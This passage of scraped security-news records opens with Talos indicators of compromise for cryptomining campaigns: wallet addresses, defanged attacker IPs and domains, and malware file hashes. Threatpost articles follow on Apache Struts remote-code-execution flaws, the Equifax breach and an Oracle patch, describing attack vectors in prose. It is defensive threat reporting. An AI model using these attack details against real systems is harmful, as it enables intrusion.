\n1f5891e1b0bbe75a21266caee0323d91f2b40ecc4ff1ae8cc8208963d342ecb7 \n3138f8ea7ba45d81318729703d9140c65effc15d56e61e928474dd277c067e04 \n241916012cc4288efd2a4b1f16d1db68f52e17e174425de6abee4297f01ec64f \n3138f8ea7ba45d81318729703d9140c65effc15d56e61e928474dd277c067e04 \n \nWallets \n41e2vPcVux9NNeTfWe8TLK2UWxCXJvNyCQtNb69YEexdNs711jEaDRXWbwaVe4vUMveKAzAiA4j8xgUi29TpKXpm3zKTUYo \n4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg \n46CQwJTeUdgRF4AJ733tmLJMtzm8BogKo1unESp1UfraP9RpGH6sfKfMaE7V3jxpyVQi6dsfcQgbvYMTaB1dWyDMUkasg3S \n \n\n\n#### \n\n#### Tor2mine\n\n107[.]181[.]160[.]197 \n107[.]181[.]174[.]248 \n107[.]181[.]187[.]132 \nasq[.]r77vh0[.]pw \n194[.]67[.]204[.]189 \nqm7gmtaagejolddt[.]onion[.]to \nres1[.]myrms[.]pw \nhxxps://gitlab[.]com/Shtrawban \nrig[.]zxcvb[.]pw \nback123[.]brasilia[.]me \n \n91853a9cdbe33201bbd9838526c6e5907724eb28b3a3ae8b3e0126cee8a46639 32.exe \n44586883e1aa03b0400a8e394a718469424eb8c157e8760294a5c94dad3c1e19 64.exe \n3318c2a27daa773e471c6220b7aed4f64eb6a49901fa108a1519b3bbae81978f 7.exe \nc3c3eb5c8c418164e8da837eb2fdd66848e7de9085aec0fca4bb906cd69c654e 8.exe \n4238a0442850d3cd40f8fb299e39a7bd2a94231333c83a98fb4f8165d89f0f7f check1.ps1 \n904c7860f635c95a57f8d46b105efc7ec7305e24bd358ac69a9728d0d548011a checker.bat \n4f9aeb3bb627f3cad7d23b9e0aa8e2e3b265565c24fec03282d632abbb7dac33 check.hta \naf780550bc8e210fac5668626afdc9f8c7ff4ef04721613f4c72e0bdf6fbbfa3 clocal.hta \ncc7e6b15cf2b6028673ad472ef49a80d087808a45ad0dcf0fefc8d1297ad94b5 clocal.ps1 \nee66beae8d85f2691e4eb4e8b39182ea40fd9d5560e30b88dc3242333346ee02 cnew.hta \na7d5911251c1b4f54b24892e2357e06a2a2b01ad706b3bf23384e0d40a071fdb del.bat \n0f6eedc41dd8cf7a4ea54fc89d6dddaea88a79f965101d81de2f7beb2cbe1050 func.php \ne0ca80f0df651b1237381f2cbd7c5e834f0398f6611a0031d2b461c5b44815fc localcheck.bat \nb2498165df441bc33bdb5e39905e29a5deded7d42f07ad128da2c1303ad35488 scanner.ps1 \n18eda64a9d79819ec1a73935cb645880d05ba26189e0fd5f2fca0a97f3f019a9 shell.bin \n1328bd220d9b4baa8a92b8d3f42f0d123762972d1dfc4b1fd4b4728d67b01dfc ss.exe \n112e3d3bb75e2bf88bd364a42a40434148d781ee89d29c66d17a5a154615e4b1 upd2.ps1 \ne1565b21f9475b356481ddd1dcd92cdbed4f5c7111455df4ef16b82169af0577 upd.hta \n61185ddd3e020a3dfe5cb6ed68069052fe9832b57c605311a82185be776a3212 win10.ps1 \nf1b55302d81f6897e4b2429f2efdad1755e6e0f2e07a1931bce4ecf1565ed481 zazd.bat \ncce61d346022a0192418baa7aff56ab885757f3becd357967035dd6a04bb6abf z.exe \n \n\n\n#### \n\n#### Uncategorized groups\n\n188[.]166[.]38[.]137 \n91[.]121[.]87[.]10 \n94[.]23[.]206[.]130 \n \n46FtfupUcayUCqG7Xs7YHREgp4GW3CGvLN4aHiggaYd75WvHM74Tpg1FVEM8fFHFYDSabM3rPpNApEBY4Q4wcEMd3BM4Ava \n44dSUmMLmqUFTWjv8tcTvbQbSnecQ9sAUT5CtbwDFcfwfSz92WwG97WahMPBdGtXGu4jWFgNtTZrbAkhFYLDFf2GAwfprEg![](http://feeds.feedburner.com/~r/feedburner/Talos/~4/DemsFFZIKpI)", "cvss3": {}, "published": "2018-12-18T08:33:00", "type": "talosblog", "title": "Connecting the dots between recently active cryptominers", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2018-11776"], "modified": "2018-12-18T16:33:11", "id": "TALOSBLOG:EAA71FE2CFAB05696E23A5F67435416C", "href": "http://feedproxy.google.com/~r/feedburner/Talos/~3/DemsFFZIKpI/cryptomining-campaigns-2018.html", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "threatpost": [{"lastseen": "2018-10-06T22:53:48", "description": "Oracle released its biggest [Critical Patch Update](<http://www.oracle.com/technetwork/security-advisory/cpuapr2017-3236618.html>) ever on Tuesday, and with it came added urgency in the form of patches for the Solaris vulnerabilities exposed by the [ShadowBrokers](<https://threatpost.com/shadowbrokers-expose-nsa-access-to-swift-service-bureaus/124996/>) last week, as well as the recent [Apache Struts 2 vulnerability](<https://threatpost.com/attacks-heating-up-against-apache-struts-2-vulnerability/124183/>), also under public attack.\n\nIn all, Oracle admins have a tall order with 299 patches across most of the company\u2019s product lines; 162 of the vulnerabilities are remotely exploitable.\n\nTwo Solaris exploits were leaked by the mysterious ShadowBrokers last Friday. The Solaris attacks were included among a rash of other exploits including a laundry list of Windows attacks, many of which had [already been patched by Microsoft](<https://threatpost.com/shadowbrokers-windows-zero-days-already-patched/125009/>) prior to last Friday\u2019s dump.\n\nOne of the Solaris vulnerabilities, code-named EBBISLAND, had been patched in a number of updates dating back to 2012. The other, EXTREMEPARR, was addressed on Tuesday. It affects Solaris 7-10 on x86 and SPARC architectures, and is a local privilege escalation issue in the [dtappgather](<https://github.com/HackerFantastic/Public/blob/master/exploits/dtappgather-poc.sh>) component. Oracle patched versions 10 and 11.3 on Tuesday.\n\nResearcher Matthew Hickey of U.K. consultancy Hacker House, said the EXTREMEPARR attacks go back to Solaris 7, while EBBISLAND affects Solaris 6-10, and is a remote RPC services exploit. Both exploits allow attackers to elevate privileges to root and run shells on a compromised server.\n\n> I said in December that EBBISLAND was likely an exploit for Solaris 6 through 10, I am today confirmed correct (upto 9, still untested) <https://t.co/A3fC7BuwcK>\n> \n> \u2014 Hacker Fantastic (@hackerfantastic) [April 8, 2017](<https://twitter.com/hackerfantastic/status/850802122224488452>)\n\n\u201cAs a security researcher it was an extremely interesting find to discover such well written exploits in a public data dump,\u201d Hickey wrote in a [report](<https://www.myhackerhouse.com/easter-egg-hunt_greetz/#sthash.YMmAy8Ez.dpuf>) published today, \u201ceven though the bug was a trivial path traversal for \u2018dtappgather\u2019 extensive steps had been taken to protect the attack specifics in the binary and a well tested tool which worked flawlessly on all tested hosts was included.\u201d\n\nSince last August, the ShadowBrokers have periodically released tools belonging to the Equation Group, widely believed to be the U.S. National Security Agency. The Solaris attacks are of particular concern since these are the backbone of many enterprise-grade server environments.\n\n> The NSA had the power to hack any Oracle Solaris box in the world via UDP/TCP generically with anti-forensics capabilities and its public.\n> \n> \u2014 Hacker Fantastic (@hackerfantastic) [April 10, 2017](<https://twitter.com/hackerfantastic/status/851561358516736000>)\n\n\u201cThis vulnerability can be exploited remotely without authentication or any information about the targeted machine,\u201d said Amol Sarwate, director of [Qualys Vulnerability Labs](<https://blog.qualys.com/laws-of-vulnerabilities/2017/04/18/oracle-plugs-struts-hole-along-with-299-total-vulnerabilities>). \u201cThese are very critical vulnerabilities.\u201d\n\nThe [Apache Struts 2 vulnerability](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638>) has been public since early March, though it\u2019s been publicly exploited for much longer. The flaw is in the Jakarta Multipart parser in Struts 2 2.3 before 2.3.32 and in 2.5 before 2.5.10.1. A remote attacker could upload a malicious Content-Type value and have it execute. Public scans and attacks ramped up immediately upon disclosure of the issue and development of a Metasploit module. For the most part, Linux-based DDoS bots were behind most of the exploit attempts, but a spate of attacks were detected attempting to install [Cerber ransomware](<https://threatpost.com/apache-struts-2-exploits-installing-cerber-ransomware/124844/>) on vulnerable Windows servers.\n\nOracle patched Struts 2 on 25 of its products, including 19 different instances of its Oracle Financial Services Applications. Most of these Oracle applications, however, are not internet-facing and live behind an enterprise firewall.\n\n\u201cThat could be a little bit of a saving grace for some of these services,\u201d Qualys\u2019 Sarwate said. There could be some instances, however, where these apps are exposed to the public network for remote administration purposes, for example. There are also some cases in which admins may be learning for the first time that Struts 2 is running inside an Oracle product. \u201cFor a normal admin, it could be a little difficult unless a vendor tells them these are the products you\u2019re running that are affected by the Struts 2 vulnerability. It could take some admins by surprise.\u201d\n\nWhile there were 47 patches in total for the financial applications suite, the MySQL database also received a hefty load of 39 fixes, 11 of which are remotely exploitable without authentication. The Oracle Retail Applications suite also had 39 vulnerabilities addressed, 32 of which were remotely exploitable. Oracle Fusion Middleware received 31 patches, 20 of which were for remotely exploitable vulnerabilities.\n\nThe previous record for quarterly Oracle patches was last July when [276 patches](<https://threatpost.com/oracle-patches-record-276-vulnerabilities-with-july-critical-patch-update/119373/>) were released; January\u2019s update, the first for 2017, had [270 patches](<https://threatpost.com/oracle-patches-270-vulnerabilities-in-years-first-critical-patch-update/123155/>).\n", "cvss3": {}, "published": "2017-04-19T07:20:09", "type": "threatpost", "title": "Record Oracle Patch Update Addresses ShadowBrokers, Struts 2 Vulnerabilities", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-5638", "CVE-2018-11776"], "modified": "2017-04-21T19:31:17", "id": "THREATPOST:F4E175435A7C5D2A4F16D46A939B175E", "href": "https://threatpost.com/record-oracle-patch-update-addresses-shadowbrokers-struts-2-vulnerabilities/125046/", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2019-06-28T05:48:46", "description": "A critical remote code-execution vulnerability in Apache Struts 2, the popular open-source framework for developing web applications in the Java programming language, is threatening a wide range of applications, even when no additional plugins have been enabled. Successful exploitation could lead to full endpoint and eventually network compromise, according to researchers \u2013 who said that the flaw is more dangerous than the similar vulnerability used to compromise Equifax last year.\n\nA [working exploit](<https://threatpost.com/poc-code-surfaces-to-exploit-apache-struts-2-vulnerability/136921/>) surfaced within a day of its disclosure.\n\nThe vulnerability ([CVE-2018-11776](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11776>)) was [patched](<https://cwiki.apache.org/confluence/display/WW/S2-057>) by the Apache Software Foundation yesterday and affects all supported versions of Struts 2: Users of Struts 2.3 should upgrade to 2.3.35; users of Struts 2.5 need to upgrade to 2.5.17. They should do so as soon as possible, given that bad actors are likely already working on exploits, according to the Semmle research team\u2019s Man Yue Mo, who uncovered the flaw.\n\n\u201cThis vulnerability affects commonly-used endpoints of Struts, which are likely to be exposed, opening up an attack vector to malicious hackers,\u201d he said in a [posting](<https://semmle.com/news/apache-struts-CVE-2018-11776>) on Wednesday. \u201cOn top of that, the weakness is related to the Struts Object-Graph Navigation Language (OGNL) language, which hackers are very familiar with, and are known to have been exploited in the past.\u201d\n\n[OGNL](<https://commons.apache.org/proper/commons-ognl/>) is a powerful, domain-specific language that is used to customize Struts\u2019 behavior.\n\n\u201cOn the whole, this is more critical than the highly critical Struts RCE vulnerability that the Semmle Security Research Team discovered and announced last September,\u201d said Yue Mo, referring to the infamous vulns (CVE-2017-9805) that hackers used to compromise Equifax last year, which led to the lifting of [personal details of 147 million consumers](<https://threatpost.com/equi-facts-equifax-clarifies-the-numbers-for-its-massive-breach/131797/>).\n\nTim Mackey, technology evangelist at Synopsys, told Threatpost that this is due to the fact that it affects a wider swath of the Struts architecture.\n\n\u201cIn the case of CVE-2018-11776, the root cause [is] a lack of input validation on the URL passed to the Struts framework,\u201d he explained. \u201cThe prior [Struts] vulnerabilities were all in code within a single functional area of the Struts code. This meant that developers familiar with that functional area could quickly identify and resolve issues without introducing new functional behaviors. CVE-2018-11776 operates at a far deeper level within the code, which in turns requires a deeper understanding of not only the Struts code itself, but the various libraries used by Struts. It is this level of understanding which is of greatest concern \u2013 and this concern relates to any library framework.\u201d\n\n## Anatomy of the Flaw\n\nThe vulnerability is caused by insufficient validation of untrusted user data in the core of the Struts framework, according to the team\u2019s findings.\n\n\u201cAttackers can attack vulnerable applications by injecting their own namespace as a parameter in an HTTP request,\u201d they explained. \u201cThe value of that parameter is insufficiently validated by the Struts framework, and can be any OGNL string.\u201d\n\nBecause the issue affects the core of Struts, there are at least two separate attack vectors \u2013 and potentially many more.\n\nIn the first attack scenario, three Struts result types are unsafe when used without a namespace, as defined in either in the Struts configuration file or in Java code if the Struts Convention plugin is used. These are the redirect action, which redirects the visitor to a different URL; action chaining, which is a method to chain multiple actions into a defined sequence or workflow; and postback result, which renders the current request parameters as a form which immediately submits a postback to the specified destination chain or postback.\n\nThe researchers explained: \u201cAn example of a struts.xml configuration that is potentially vulnerable: the <action \u2026> tag does not have a namespace attribute and contains a result of type redirectAction. If you use the Struts Convention plugin, you will also have to look for actions and results that are configured using Java code.\u201d\n\nThe second attack vector has to do with the fact that Struts supports page templates inside <result> tags in the Struts configuration: \u201cThe use of URL tags in such pages is potentially unsafe if the template is referred to from an <action> tag that does not provide a namespace attribute (or specifies a wildcard namespace),\u201d the researchers said. \u201cYour application is vulnerable if the template contains an <s:url \u2026> tag without an action or value attribute.\u201d\n\nResearchers noted that for an exploit for either of the known vectors to be successful, an application must have the alwaysSelectFullNamespace flag set to \u201ctrue\u201d in the Struts configuration \u2013 a default state if the application uses the popular Struts Convention plugin. Also, the application\u2019s actions must be configured without specifying a namespace, or with a wildcard namespace (e.g. \u201c/*\u201d).\n\n\u201cThis applies to actions and namespaces specified in the Struts configuration file (e.g. <action namespace=\u201dmain\u201d>), but also to actions and namespaces specified in Java code if you are using the Struts Convention plugin,\u201d they explained.\n\nThat said, they also cautioned that other attack vectors may emerge that apply to different configurations.\n\n\u201cWhether or not a Struts application is vulnerable to remote code execution largely depends on the exact configuration and architecture of the application,\u201d the firm said. \u201cNote that even if an application is currently not vulnerable, an inadvertent change to a Struts configuration file may render the application vulnerable in the future. You are therefore strongly advised to upgrade your Struts components, even if you believe your configuration not to be vulnerable right now.\u201d\n\nThis is a critical point, according to Mackey. \u201cValidating the input to a function requires a clear definition of what is acceptable,\u201d he said. \u201cIt equally requires that any functions available for public use document how they use the data passed to them. Absent the contract such definitions and documentation form, it\u2019s difficult to determine if the code is operating correctly or not. This contract becomes critical when patches to libraries are issued as its unrealistic to assume that all patches are free from behavioral changes. Modern software is increasingly complex and identifying how data passes through it should be a priority for all software development teams.\u201d\n\nPavel Avgustinov, vice president of QL Engineering at Semmle, laid out what\u2019s at stake in a media statement: \u201cCritical remote code-execution vulnerabilities like the [one that affected Equifax](<https://threatpost.com/patch-released-for-critical-apache-struts-bug/127809/>) and the one we announced [this week] are incredibly dangerous for several reasons: Struts is used for publicly-accessible customer-facing websites, vulnerable systems are easily identified, and the flaw is easy to exploit,\u201d he said. \u201cA hacker can find their way in within minutes, and exfiltrate data or stage further attacks from the compromised system. It\u2019s crucially important to update affected systems immediately; to wait is to take an irresponsible risk.\u201d\n", "cvss3": {}, "published": "2018-08-23T16:46:57", "type": "threatpost", "title": "Apache Struts 2 Flaw Uncovered: \u2018More Critical Than Equifax Bug\u2019", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-9805", "CVE-2018-11776"], "modified": "2018-08-23T16:46:57", "id": "THREATPOST:D5150098043DAE7CDF2E31618C33F5D2", "href": "https://threatpost.com/apache-struts-2-flaw-uncovered-more-critical-than-equifax-bug/136850/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2018-10-06T22:53:10", "description": "Equifax said the culprit behind [this summer\u2019s massive breach of 143 million Americans](<https://threatpost.com/equifax-says-breach-affects-143-million-americans/127880/>) was indeed CVE-2017-5638, an Apache Struts vulnerability patched back in March.\n\nThe bug was widely assumed by experts to be the \u201cU.S. website application vulnerability\u201d implicated by the company last Thursday, especially after an Apache spokeswoman [told Reuters](<https://www.reuters.com/article/us-equifax-cyber/criticism-of-equifax-data-breach-response-mounts-shares-tumble-idUSKCN1BJ1NF>) on Friday that it appeared the consumer credit reporting agency hadn\u2019t applied patches for flaws discovered earlier this year.\n\nOn Wednesday company specified the flaw in a statement [posted to its site](<https://www.equifaxsecurity2017.com/>) and stressed it was continuing to work alongside law enforcement to investigate the incident.\n\n> \u201cEquifax has been intensely investigating the scope of the intrusion with the assistance of a leading, independent cybersecurity firm to determine what information was accessed and who has been impacted. We know that criminals exploited a U.S. website application vulnerability. The vulnerability was Apache Struts CVE-2017-5638. We continue to work with law enforcement as part of our criminal investigation, and have shared indicators of compromise with law enforcement.\u201d\n\nUntil the news broke on Wednesday there was still mounting confusion over which Struts vulnerability attackers used.\n\nRen\u00e9 Gielen, vice president of the Apache Struts Project Management Committee (PMC) at the Apache Software Foundation, [wrote in open letter over the weekend](<https://threatpost.com/apache-foundation-refutes-involvement-in-equifax-breach/127910/>) that attackers either used an unknown Struts zero day or an earlier announced vulnerability. A separate remote code execution bug, CVE-2017-9805, was fixed in Struts [last Tuesday](<https://threatpost.com/patch-released-for-critical-apache-struts-bug/127809/>) but Gielen said the Apache PMC would have known about it if it was being exploited in July.\n\nAn internal report last week from equity research firm Baird said a Struts vulnerability was behind the breach as well. The analyst who penned the report failed to specify which vulnerability and neglected to state how he arrived at that conclusion however.\n\nJeff Williams, chief technology officer of Contrast Security, wrote last Saturday that CVE-2017-5638 was likely to blame for the breach.\n\n\u201cThe first vulnerability from March seems much more likely because it\u2019s easier to exploit and much better known. It also fits the timeline better, since it was released months before Equifax was attacked in July,\u201d Williams wrote, adding on Thursday that he was familiar with several large organizations which took months to fix the bug.\n\n\u201cThe process of rewriting, retesting, and redeploying can take months. I just visited one of the largest telecom providers where this effort took more than four months and millions of dollars. Without runtime protection in place, they have to do this every time a new library vulnerability comes out,\u201d Williams said.\n\nThe vulnerability, a flaw in the Jakarta Multipart parser upload function in Apache, allowed an attacker to make a maliciously crafted request to an Apache webserver. The vulnerability, which first surfaced on Chinese forums before it was discovered by researchers with Cisco Talos, [was patched back in March](<https://threatpost.com/attacks-heating-up-against-apache-struts-2-vulnerability/124183/>) but proof of concept exploit code quickly found its way into Metasploit. Public scans and attacks spiked immediately following disclosure of the vulnerability and at least one campaign was found [installing Cerber ransomware](<https://threatpost.com/apache-struts-2-exploits-installing-cerber-ransomware/124844/>) on vulnerable servers.\n\nFamed cryptographer Bruce Schneier, CTO of IBM Resilient, [weighed in](<https://www.schneier.com/blog/archives/2017/09/on_the_equifax_.html>) on the Equifax fiasco on Wednesday and like IoT issues as of late [have necessitated](<https://threatpost.com/legislation-proposed-to-secure-connected-iot-devices/127152/>), suggested the only solution to preventing breaches like this from happening again is government intervention.\n\n\u201cBy regulating the security practices of companies that store our data, and fining companies that fail to comply, governments can raise the cost of insecurity high enough that security becomes a cheaper alternative,\u201d Schneier wrote, \u201cThey can do the same thing by giving individuals affected by these breaches the ability to sue successfully, citing the exposure of personal data itself as a harm.\u201d\n\nFittingly, as if to get the ball rolling, on Wednesday U.S. Sen. Mark Warner (D-VA) asked the Federal Trade Commission to look into the breach and the company\u2019s security practices, namely whether Equifax has adequate cybersecurity safeguards in place for the amount of personally identifiable information it deals with.\n\n\u201cThe volume and sensitivity of the data potentially involved in this breach raises serious questions about whether firms like Equifax adequately protect the enormous amounts of sensitive data they gather and commercialize,\u201d [Warner wrote](<https://www.scribd.com/document/358810691/Sen-Warner-Asks-FTC-to-Probe-Equifax>), \u201cIn ways similar to the financial service industry\u2019s systemic risk designation, I fear that firms like Equifax may illustrate a set of institutions whose activities, left unchecked, can significantly threaten the economic security of Americans.\u201d\n\nThe letter came a few days after members of the U.S. Senate Finance Committee, including Sen. Orrin Hatch (R-UT) and Ron Wyden (D-Ore.) sent another letter to Equifax CEO Richard Smith asking for additional information about the breach.\n\n\u201cThe scope and scale of this breach appears to make it one of the largest on record, and the sensitivity of the information compromised may make it the most costly to taxpayers and consumers,\u201d the senators wrote in a [letter](<https://www.finance.senate.gov/download/91117-equifax-release>) on Monday.\n\nWhile the FTC doesn\u2019t typically comment on ongoing investigations the Commission did confirm Thursday afternoon because of the \u201cintense public interest\u201d and \u201cpotential impact of this matter,\u201d it was looking into the breach.\n\nEquifax said Americans and an undisclosed number of Canadian and United Kingdom residents were affected by the breach but security news site [KrebsonSecurity.com](<https://krebsonsecurity.com/2017/09/ayuda-help-equifax-has-my-data/>) said this week Argentinans may be implicated as well. Brian Krebs, who authors the site, claims he was contacted by Alex Holden, who runs the firm Hold Security, earlier this week. Two of Holden\u2019s employees, native Argentinans, discovered an Equifax portal for employees in Argentina that included their names, email addresses, and DNI \u2013 the Argentinian equivalent of a Social Security Number.\n\nThe site, according to Holden \u201cwas wide open, protected by perhaps the most easy-to-guess password combination ever: \u201cadmin/admin.\u201d Krebs claims the portal was disabled upon notifying Equifax\u2019s attorney and that the company is looking into how it may have been left unsecured.\n", "cvss3": {}, "published": "2017-09-14T16:00:34", "type": "threatpost", "title": "Equifax Confirms March Struts Vulnerability Behind Breach", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-5638", "CVE-2017-9805"], "modified": "2017-09-15T13:01:13", "id": "THREATPOST:9E84C27A33C751DE6ECC9BAAF9C0F19B", "href": "https://threatpost.com/equifax-confirms-march-struts-vulnerability-behind-breach/127975/", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-10-06T22:53:11", "description": "The Apache Software Foundation has patched a critical remote code execution vulnerability affecting all versions of the popular application development framework Struts since 2008.\n\nAll web applications using the framework\u2019s REST plugin are vulnerable. Users are advised to upgrade their Apache Struts components as a matter of urgency, according to Semmle, a software engineering analytics firm that first identified the bug.\n\n\u201cThis particular vulnerability allows a remote attacker to execute arbitrary code on any server running an application built using the Struts framework and the popular REST communication plugin. The weakness is caused by the way Struts deserializes untrusted data,\u201d the company wrote in [a technical write-up](<https://lgtm.com/blog/apache_struts_CVE-2017-9805_announcement>) on the vulnerability published on Tuesday in coordination with the release of a patch by Apache Software Foundation (ASF).\n\n\u201cThis is as serious as it gets; if remote attackers are allowed to exploit the newly identified vulnerability it can critically damage thousands of enterprises,\u201d said Oege de Moor, CEO and founder of Semmle.\n\nAffected developers are urged to [upgrade to Apache Struts version 2.5.13](<https://struts.apache.org/announce.html#a20170905>).\n\nThe ASF said there is no workaround available for the vulnerability ([CVE-2017-9805](<https://struts.apache.org/docs/s2-052.html>)) in Struts, an open-source framework for developing web applications in the Java programming language.\n\n\u201cThe best option (sans an upgrade) is to remove the Struts REST plugin when not used or limit it to server normal pages and JSONs only,\u201d the ASF wrote in a [security bulletin issued Tuesday](<https://struts.apache.org/docs/s2-052.html>).\n\nSemmle cites estimates the vulnerability could impact 65 percent of the Fortune 100 companies that use web applications built with the Struts framework.\n\n\u201cOrganizations like Lockheed Martin, the IRS, Citigroup, Vodafone, Virgin Atlantic, Reader\u2019s Digest, Office Depot, and Showtime are known to have developed applications using the framework. This illustrates how widespread the risk is,\u201d Semmle researcher Bas van Schaik wrote Tuesday, citing estimates by analysts at the software developer research firm RedMonk.\n\nMultiple similar vulnerabilities have been reported tied to Struts. Earlier this year, attackers were exploiting a critical Apache Struts vulnerability on Windows servers and dropping Cerber ransomware on the machines.\n\n[In March](<https://threatpost.com/attacks-heating-up-against-apache-struts-2-vulnerability/124183/>), public attacks and scans looking for exposed Apache webservers were reportedly on the rise after a vulnerability ([CVE-2017-5638](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638>)) in the Struts 2 web application framework was [patched](<https://cwiki.apache.org/confluence/display/WW/S2-045>) and proof-of-concept exploit code was introduced into Metasploit.\n\nSemmle said this most recent vulnerability is caused by the way Struts deserializes untrusted data. Deserialization is the processes of taking structured data from one format and rebuilding it into an object. The processes can be tweaked for malicious intent and has been used in a host of attack scenarios including denial-of-service, access control and remote code execution attacks.\n\nThe remote code execution attack Semmle identified is possible when using the Struts REST plugin with the XStream handler to facilitate XML payloads. XStream is a Java library used to serialize objects to XML (or JSON) and back again.\n\n\u201cLgtm (Semmle\u2019s open-source [code analysis tool](<https://lgtm.com/>)) identifies alerts in code using queries written in a specially-designed language: QL. One of the many queries for Java detects potentially unsafe deserialization of user-controlled data. The query identifies situations in which unsanitized data is deserialized into a Java object. This includes data that comes from an HTTP request or from any other socket connection,\u201d Semmle said in a [second technical analysis of the vulnerability](<https://lgtm.com/blog/apache_struts_CVE-2017-9805_announcement>) posted Tuesday.\n\nData contained in one of the arguments (toObject) should be considered \u201ctainted\u201d and \u201cunder the control of a remote user and should not be trusted.\u201d This query detects common ways through which user-controlled data flows to a deserialization method, researchers said. \u201cHowever, some projects use a slightly different approach to receive remote user input,\u201d they said.\n\nSemmle said it has developed a \u201csimple\u201d working exploit for this vulnerability but currently has no plans to disclose it.\n\n\u201cThere is no suggestion that an exploit is publicly available, but it is likely that one will soon be,\u201d van Schaik wrote in a blog post.\n", "cvss3": {}, "published": "2017-09-05T14:10:54", "type": "threatpost", "title": "Patch Released for Critical Apache Struts Bug", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-5638", "CVE-2017-9805"], "modified": "2017-09-05T18:44:40", "id": "THREATPOST:7DFB677F72D6258B3CDEE746C764E29E", "href": "https://threatpost.com/patch-released-for-critical-apache-struts-bug/127809/", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-10-06T22:53:10", "description": "A group of developers behind Apache Struts, believed by some to be the culprit behind [last week\u2019s Equifax breach](<https://threatpost.com/equifax-says-breach-affects-143-million-americans/127880/>), took umbrage with those claims over the weekend.\n\nRen\u00e9 Gielen, vice president of the Apache Struts Project Management Committee (PMC) at the Apache Software Foundation, wrote Saturday that if Struts was targeted, it\u2019s unclear which vulnerability, if any was exploited.\n\n[The letter,](<https://blogs.apache.org/foundation/entry/apache-struts-statement-on-equifax>) which was written on behalf of the Struts PMC, was spurred by an internal analyst report published last week that suggested data from Equifax\u2019s servers was breached via an unnamed Apache Struts flaw.\n\nThe report penned by Jeffrey Meuler, a senior research analyst with Baird Equity Research, the research arm of the financial services firm Robert W. Baird & Co, did not provide a source for the finding. Meuler did not immediately return a request for further comment when contacted on Monday.\n\nGielen\u2019s letter took particular issue with a Quartz.com article that initially alleged CVE-2017-9805, a critical remote code execution vulnerability that the ASF [patched last Tuesday](<https://threatpost.com/patch-released-for-critical-apache-struts-bug/127809/>), was the Struts vulnerability to blame for the breach of 143 million Americans\u2019 records. The [Quartz article](<https://qz.com/1073221/the-hackers-who-broke-into-equifax-exploited-a-nine-year-old-security-flaw/>) \u2013 since edited \u2013 initially claimed that CVE-2017-9805 had existed in the wild for nine years, something Gielen had a hard time buying. Gielen said Saturday that since the breach was detected back in July, it\u2019s likely the Equifax attackers either used an unknown Struts zero day or an earlier announced vulnerability on an unpatched Equifax server.\n\nGielen says the ASF takes \u201cenormous efforts\u201d to secure software it produces, like Struts, and makes a conscious effort to hold back sensitive information around vulnerabilities. There is no silver bullet for preventing exploits from surfacing in the wild however.\n\n\u201cSince vulnerability detection and exploitation has become a professional business, it is and always will be likely that attacks will occur even before we fully disclose the attack vectors, by reverse engineering the code that fixes the vulnerability in question or by scanning for yet unknown vulnerabilities.\u201d\n\nIf the attackers had used CVE-2017-9805, it would have been considered a zero day at the time, but according to Gielen, the Apache PMC was only recently notified of the vulnerability \u2013 something it quickly remedied.\n\n\u201cWe were notified just recently on how a certain piece of code can be misused, and we fixed this ASAP,\u201d Gielen said, \u201cWhat we saw here is common software engineering business \u2014 people write code for achieving a desired function, but may not be aware of undesired side-effects. Once this awareness is reached, we as well as hopefully all other library and framework maintainers put high efforts into removing the side-effects as soon as possible. It\u2019s probably fair to say that we met this goal pretty well in case of CVE-2017-9805.\u201d\n\nGielen concluded his letter with a series of best practices for businesses who use Apache Struts to follow, including being aware which framework/libraries are used in their setup, that processes to roll out security fixes are established, and perhaps most importantly, to understand that complex software can contain flaws.\n\nAn Apache spokeswoman [told Reuters on Friday](<https://www.reuters.com/article/us-equifax-cyber/criticism-of-equifax-data-breach-response-mounts-shares-tumble-idUSKCN1BJ1NF>) that it appeared Equifax had not applied patches for flaws discovered this year.\n\nIt\u2019s unclear exactly which vulnerability the spokeswoman was referring to. The Struts vulnerability fixed last week affected all web apps that used the framework\u2019s REST plugin. Another Struts vulnerability, CVE-2017-5638, was publicized and incorporated into Metasploit [in March](<https://threatpost.com/attacks-heating-up-against-apache-struts-2-vulnerability/124183/>). That flaw stemmed from Struts\u2019 Jakarta Multipart parser upload functionality and allowed an attacker to execute requests to an Apache webserver. Researchers with Cisco Talos, [who found the bug](<http://blog.talosintelligence.com/2017/03/apache-0-day-exploited.html>), said it was being exploited in the wild when it was disclosed.\n\nResearchers with Contrast Security posit it\u2019s more likely the attacker used CVE-2017-5638, an expression language injection vulnerability leveraged via the content-type header, to hit Equifax.\n\n\u201cThe first vulnerability from March seems much more likely because it\u2019s easier to exploit and much better known. It also fits the timeline better, since it was released months before Equifax was attacked in July,\u201d Jeff Williams, Contrast\u2019s co-founder and chief technology officer, [wrote Saturday](<https://www.contrastsecurity.com/security-influencers/a-week-of-web-application-hacks-and-vulnerabilities>).\n\nWilliams echoed a few sentiments made by Gielen, including the fact that maintaining the security of libraries can be tricky but should remain a focus for businesses.\n\n\u201cKeeping libraries up to date isn\u2019t a small amount of work, as these changes come out frequently. Often these changes require rewriting, retesting, and redeploying the application, which can take months. I have recently talked with several large 